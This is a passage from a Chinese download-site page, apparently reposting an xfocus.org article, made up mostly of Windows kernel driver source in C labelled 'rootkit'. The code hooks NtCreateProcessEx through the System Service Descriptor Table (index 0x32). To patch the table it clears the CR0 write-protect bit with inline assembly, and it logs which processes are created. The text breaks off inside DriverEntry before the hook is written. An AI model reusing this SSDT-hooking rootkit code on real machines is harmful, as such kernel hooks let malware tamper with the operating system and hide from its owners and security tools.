⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 783.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 5 页
字号:
// Length of process name (rounded up to next DWORD)<br />
#define PROCNAMELEN&nbsp;&nbsp;&nbsp;&nbsp; 20<br />
// Maximum length of NT process name<br />
#define NT_PROCNAMELEN&nbsp;&nbsp;16<br />
ULONG gProcessNameOffset;<br />
<br />
void GetProcessNameOffset()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS curproc;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;curproc = PsGetCurrentProcess();<br />
&nbsp;&nbsp;&nbsp;&nbsp;for( i = 0; i &lt; 3*PAGE_SIZE; i++ ) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !strncmp( &quot;System&quot;, (PCHAR) curproc + i, strlen(&quot;System&quot;) ))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gProcessNameOffset = i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
BOOL GetProcessName( PCHAR theName )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; curproc;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*nameptr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;KIRQL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oldirql;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( gProcessNameOffset ) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curproc = PsGetCurrentProcess();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nameptr&nbsp;&nbsp; = (PCHAR) curproc + gProcessNameOffset;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strncpy( theName, nameptr, NT_PROCNAMELEN );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;theName[NT_PROCNAMELEN] = 0; /* NULL at end */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} <br />
&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br />
}<br />
<br />
NTSTATUS NewNtCreateProcessEx(<br />
OUT PHANDLE ProcessHandle,<br />
IN ACCESS_MASK DesiredAccess,<br />
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,<br />
IN HANDLE ParentProcess,<br />
IN BOOLEAN InheritObjectTable,<br />
IN HANDLE SectionHandle OPTIONAL,<br />
IN HANDLE DebugPort OPTIONAL,<br />
IN HANDLE ExceptionPort OPTIONAL,<br />
IN HANDLE Unknown OPTIONAL)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;CHAR aProcessName[PROCNAMELEN];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetProcessName( aProcessName );<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;rootkit: NewNtCreateProcessEx() from %s\n&quot;, aProcessName);<br />
&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint(&quot;ok&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return OldNtCreateProcessEx(ProcessHandle,DesiredAccess,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ObjectAttributes,ParentProcess,InheritObjectTable,SectionHandle,DebugPort,ExceptionPort,Unknown);<br />
}<br />
<br />
NTSTATUS<br />
OnStubDispatch(<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN PDEVICE_OBJECT DeviceObject,<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN PIRP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Irp<br />
&nbsp;&nbsp;&nbsp;&nbsp;)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Irp-&gt;IoStatus.Status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= STATUS_SUCCESS;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IoCompleteRequest (Irp,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IO_NO_INCREMENT<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return Irp-&gt;IoStatus.Status;<br />
}<br />
<br />
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;ROOTKIT: OnUnload called\n&quot;);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;_asm<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//dissable interrupt<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;EAX, CR0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//move CR0 register into EAX<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AND EAX, NOT 10000H //disable WP bit <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;CR0, EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//write register back<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;(NTCREATEPROCESSEX)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)-&gt;ServiceTableBase + 0x32))=OldNtCreateProcessEx;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;_asm <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;EAX, CR0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//move CR0 register into EAX<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OR&nbsp;&nbsp;&nbsp;&nbsp;EAX, 10000H&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//enable WP bit &nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;CR0, EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//write register back&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//enable interrupt<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;My Driver Loaded!&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetProcessNameOffset();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;// Register a dispatch function<br />
&nbsp;&nbsp;&nbsp;&nbsp;for (i = 0; i &lt; IRP_MJ_MAXIMUM_FUNCTION; i++) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;theDriverObject-&gt;MajorFunction[i] = OnStubDispatch;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;theDriverObject-&gt;DriverUnload&nbsp;&nbsp;= OnUnload; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;// save old system call locations<br />
&nbsp;&nbsp;&nbsp;&nbsp;//OldNtCreateProcessEx=(NTCREATEPROCESSEX)(SYSTEMSERVICE(0x32));<br />
&nbsp;&nbsp;&nbsp;&nbsp;OldNtCreateProcessEx=(NTCREATEPROCESSEX)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)-&gt;ServiceTableBase + 0x32));<br />
<br />
<br />

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -